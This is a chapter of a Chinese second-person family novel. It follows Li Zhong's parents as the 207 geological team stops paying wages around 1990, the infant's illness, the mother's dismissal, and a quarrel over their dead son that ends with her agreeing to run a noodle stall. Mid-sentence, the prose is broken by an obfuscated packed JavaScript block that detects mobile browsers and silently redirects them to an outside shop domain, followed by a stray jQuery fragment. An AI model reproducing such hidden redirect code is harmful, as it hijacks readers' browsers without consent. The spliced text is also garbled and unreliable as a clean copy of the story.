李重啊。
你出生半年后，向来平稳发展的207地质队突然开始倒霉了，一不留神中它垂直跌入自成立35年以来最低的低谷。
都说时代变化的一粒沙，落在每个人的头上就是一座山，可落到你的头上，你除了要扛起这座山，还要背上“导致时代变化”的罪名。
-
207地质队在1989年的腊月头一次这么冷清。
萧索的冬天夹裹着寒意让每个人都蔫儿得像板结的枯草。
队里的人全萎缩在家里，盘算着兜里的钱还够买多少米面粮油，开春要还是这样以后可怎么活？
你父亲也没了去大礼堂跳舞的闲情雅致，连着三个月工资没发，加上铁板钉钉的评奖落了空，让他挺拔的腰弯下去不少。
你母亲工作的大食堂工资也停发了。大家不是没去队长办公室闹，关键闹了也没用。
队长说现在上级领导要求“广开门路，多种经营”，换句话说现在“国家不管你了，你要自谋出路了。”
很多人不明白！
明明建国后地质人的生存模式就是“国家给钱，我来找矿”，擅长“点石成金、创造财富”，哪怕再辛苦，再困难，大家也从未退缩。
可现在他们要被无情地抛到市场经济里，还没学会游泳就被迫下海……
谁能不忐忑？谁能不害怕？
1990年的新年没人过得舒心。
你父亲和母亲过得更不舒心。
寒冬的冷意也传导到你的身上。
身为早产儿的你，咳得小脸通红，撕心裂肺，终于抵挡不住被送到了大队医院。大队医院明明白白地拒绝接收，原因只有四个字：能力有限。
幸好那位年轻女医生私下找到你母亲，担着风险，通过她在黔北人民医院的同学，把你送了进去。
冰凉的药水一点点汇入你的血管——你这人吧，但凡给你一点活的可能，你就能活得生机勃勃——不过是打了两天吊针，你就不咳了。
你母亲心疼看病钱，尤其在这个青黄不接的时候。她见你稍有好转，便收拾东西带你回队里。
出医院大门的时候，你母亲瞧见医院门口，跨过湘江河上的那座桥，一溜烟的人在对街上摆地摊。
卖书摊、糖人摊、磁带摊、算命摊、吃食摊、衣服摊……每个摊位前都是人。人是什么，你母亲虽然没读过书，可她知道人往哪里流动哪里就有钱，所以人就是钱。
只有她不是钱，她囊中羞涩，摸了又摸那条漂亮的红纱巾，最后还是讪笑着放下。
从医院回到207遵龙基地，要绕过凤凰山，要沿着高坪河，往北走十来里地。天寒地冻的大年初三，你母亲用一根红绳子把你缠在背后，弯着腰逆着风往家赶。
李重，你一定听到了吧。你母亲从放下那条红纱巾就开始骂骂咧咧，骂完抬高价的无良商家，又骂大过年不让人消停的你，骂完你后又继续骂说好来接你们却连个鬼影都没见着的你的父亲。
好似骂人是她的加油泵，是她的力量源，不骂没动力挪步，不骂没精力背你……走到半路，下雪了。你母亲把你从背后换到胸前，用冻到僵硬的手臂把你笼在怀里，然后骂道：“再发烧咳嗽我就把你扔到湘江河里淹死算了。”
那年雪很大，你母亲也不知道从哪里来的力气，抱着你，从早走到晚，快看到207基地时，你父亲踉跄的身影才从雪雾中走出来。
你母亲那口气瞬间没了，一屁股坐在雪地上再也走不动。你父亲自知理亏，赶紧小跑过来把你抱到怀里，看着你母亲长流的眼泪，他说：“喝多了酒，睡忘了。”
紧接着他又说：“这么大的雪，你也不知道找个地方躲一躲？”
-
你母亲当然不知道去哪里可以躲一躲。
新年一过，初春暖意渐渐恢复，可怎么也暖不醒被冻透的基地。
人心惶惶，唉声叹气，见面就问今后该咋办？碰到就问干啥能挣钱？扑面而来的压力让所有人都无处遁藏。
就连基地周边的野狗都知道207人心情不佳，少惹为妙。
你母亲着急，质问你父亲。
你父亲近来倒是不去大礼堂跳舞，他开始在家喝酒。他给自己倒了杯鸭溪酱酒，美滋滋地咂了一口说：“急什么？地质队是事业单位，国家怎么可能不管？现在只是迟发工资，又不是不发。会好转的。”
你母亲皱着眉，只能等着你父亲口中所说的好转。
又过两个月，好转没等来，工资不仅继续迟发，你母亲所在的大食堂也不需要那么多帮工，把她给辞掉了。
你母亲得到这个消息的时候，眼前一黑，跑去质问领导。
领导说有人在这干了十几年，资格比你老，有人家里四个病号，没钱吃药就要死人……说到这里，他上下打量着你母亲，“你过年的时候请了好几天的假，别人对你都有意见的。还告诉我你偷偷把食堂的东西往家里拿……”
你母亲冤枉啊。她见她们把烂了一半的白菜扔了，太过心疼才用蛇皮袋装了一兜回来，恰好被人看到，就背上了偷东西的罪名。
她不服。她争论。
可没人听她的。现在在大食堂工作好歹吃饭不用愁，当然更挤破了头。谁会愿意把名额让出来？
你父亲知道后，冷着脸说：“谁让你贪小便宜！”
-
两大一小，三对六目，一睁眼就在一个屋子，一对视就开始吵架、哭闹。
你父亲极度需要空间，需要自由，他头也不回地跑出去找队友喝酒聊天。
你母亲往哪里跑？这么多年她的阵地就是这个家。她要守着，护着，时时刻刻。她不需要额外的空间，不需要额外的自由，或者说她以为自己不需要。
刚开始，你父亲的酒局随便一凑就是十来个人，地质员、钻机队、运输队、办公室等等，各个部门的都有。乌烟瘴气的房间里，大家伙凑在一起骂天骂地，就是不敢直接骂队长，实在忍不住就骂骂够不着的领导的领导，喝到半场，又提及当年一起在野外找矿的苦日子，大家更是忆苦思苦，感慨良久。
“我们头戴着草帽，挎个帆布包，住到老乡家里，没有地方睡，就把猪赶走，搭几个木板睡到猪圈里头，那么臭，那么脏，也没嫌弃过，谁知道现在我们……唉！”
“说的是啥。连老乡都说我们远看像逃难的，近看像要饭的。成年累月不着家，为的是什么？还不是想为国家多找矿，找好矿，找大矿。”
有人喝着喝着，开始唱起《勘察队之歌》。一群男人搂在一起，撕心裂肺地唱啊。
“是那山谷的风，吹动了我们的红旗。是那狂暴的雨，洗刷了我们的帐篷，我们满怀无限的希望，为祖国寻找富饶的矿藏……”
大家一起难受，一起迷茫，一起发泄。
再后来，你父亲的酒局只能凑齐七八个人。运输队的有人去省城跑出租，有人去茅台镇运酒，钻机队的有人去工地干活，有人去广东打工，办公室的人则靠关系调到其他效益好的单位……还来喝酒的地质员居多，你父亲没好气地说：“咱们都是干技术的，跟他们不一样。”
再在后来，你父亲竟然叫不到人喝酒。几个关系不错的地质员要么承包了队里的小商店，要么去队里刚建的印刷厂当印刷工。
只有你父亲还闲着，拎着酒瓶在家属院找人对酒。
这时候你父亲隐约感到情况不是他想象的那样。
他终于肯回家问一问你母亲家里还有多少存款。你母亲就等着这一天，她拿出账本一五一十地算起来。每月给你奶奶的生活费是多少，给你奶奶家亲戚五花八门的礼金是多少，给你奶奶家修房子买家具的补贴是多少，给你奶奶家……你父亲眉头一皱，打断她，“那是我妈。”
“行。现在家里就剩这点存款，你数学好，你算算咱们哪天回你妈家让你妈养着我们？”
你父亲自然不肯回去丢脸，他苦思冥想了一夜后，头一次醒来后第一时间拉着你母亲的手，柔声说：“要不你去镇里摆摊吧。”
-
你父亲说你母亲做得一手羊肉粉，这么好的技术不出去摆摊简直就是浪费。
你父亲说摆摊挣钱符合现在“广开门路，全民挣钱”的大趋势。
你父亲说女人能顶半边天，他也没指望你母亲顶半边天，只要她顶个一年半载，等地质队好转就行。
你母亲看着他说得唇角冒白沫，看着他又是一切尽在掌控之中的笃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284750|152022||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
定和自得，再看看他被白酒长期浸泡而发黄的眼……这次她有些迟疑了。
你父亲黄眼一瞪。
“你读书多还是我读书多？”
"你在外面跑得多还是我跑得多？"
“我说你能行就能行。”
你母亲欲言又止，“不然你去找下队长，把我安排到印刷厂上班。一个月虽然挣得少，但好歹咱们饿不着。”
你父亲断然拒绝，“我是干技术的，不是送礼说情的。”
“李重怎么办？我带着她没法摆摊。”
“送到你妈那里。”
“我妈那里还有一家子要养。哪有精力养她。”
“你难道让我带她？我带不了。虽然不发工资，我还是业务骨干，要去队部上班的。”
你母亲看着他，深吸一口气说：“那让你妈来带她。”
“我妈年龄大了，身体又不好。让她带孩子不是为难她吗？”
你母亲被他的话浇了个透心凉。
凉意顺着心窝窜上脸，她缓了缓，幽幽道：“要是儿子还活着，你妈怕是爬，也要爬来。”
你父亲脸色陡然一变，脑海里好不容易忘记的，那坨插满管子的小身影立马出现，他咻的一下站起来，“你什么意思？我妈到底把你怎么了，你成天看她不顺眼，这种话都说得出口？”
你母亲终于忍不住了。过去日日夜夜无处诉说却又折磨她的话，全部喷射过去。
“我们儿子死了，你妈就把我当个屁，把李重当个屁。”
“要不是你们两个撞到我，我儿子怎么会提前出生？我会没看他一眼他就死了？”
“是谁杀死了我儿子？”
“是谁？”
你母亲咆哮着，身形陡然膨胀，像巨大的怪兽，大到可以顶破土窝子的屋顶，她居高临下地盯着你父亲，就差在他脑门子上贴上“刽子手”三个字。
你父亲吓到了，伶牙和俐齿瞬间卡顿，一个字也吐不出来。他死死盯着面前这头愤怒母狮子，头一次觉得没文化的人吵架竟然如此了得，那个任凭他拿捏的女人竟然敢叫嚣到他头上。
-她……这是在审判自己吗？她审判得对吗？真的是我把儿子害死了？不！不是！绝对不是！我不承认！
过去数个月压在心头的阴霾化作绳索死死缠住他的脖子……
你父亲哭了，他竟然哭了！
两行清泪被强行从眼睛里挤出来，把你母亲吓了一大跳。
“你以为我不伤心吗？我只是不说而已。”
“你以为我妈不伤心吗？她不来咱们家就是不想来这个伤心地。”
“你要是不想去摆摊就算了。反正咱们一家三口以后哪怕吃糠咽菜，只要在一起就行。我苦点没关系，但苦了你和闺女，这点我真的……真的……”
说到这里，他几乎哽咽，痛苦地抱住了自己的头。
你母亲浑身炸开的怒毛突然僵住。
她有点懵。
他是在流眼泪吗？这个向来毫无温情暖意的男人竟然还会哭？
过去的四年里，她常年独守着这个冷冰冰的家，好不容易把人盼回来，不是趴在桌子上搞研究，就是出去跳舞喝酒。
他总爱高高在上训斥她，瞧不上这，看不惯那。
他连路边的野狗都保持和颜悦色，对她总是满脸不耐。
他能窥见深埋的矿体，却看不到就在面前的她。
可现在。
-他说我们是一家三口！只要在一起，吃糠咽菜都行！他舍不得我受苦。
-他现在眼里都是我，他都为我哭了！
-啊！他原来也是爱的！也是伤心的！只是不善言谈而已！
-我是不是说得太过分了？！
你母亲的脑子此刻高速运转，终于转到了你父亲试图让她去的地方。
笼罩在她头顶四年的漫天乌云，终于裂了条缝隙，让天光钻了进来。
她感觉到一丝丝暖意从心头爬到脸上，炸开的怒毛失了支撑，陡然趴伏。
看着面前男人颤抖的双肩，你母亲胸口涨涨的，她走过去，居高临下抚摸着你父亲的头顶，柔声道：“好好好，就听你的，我去摆摊。谁家男人跟你一样爱哭哦！”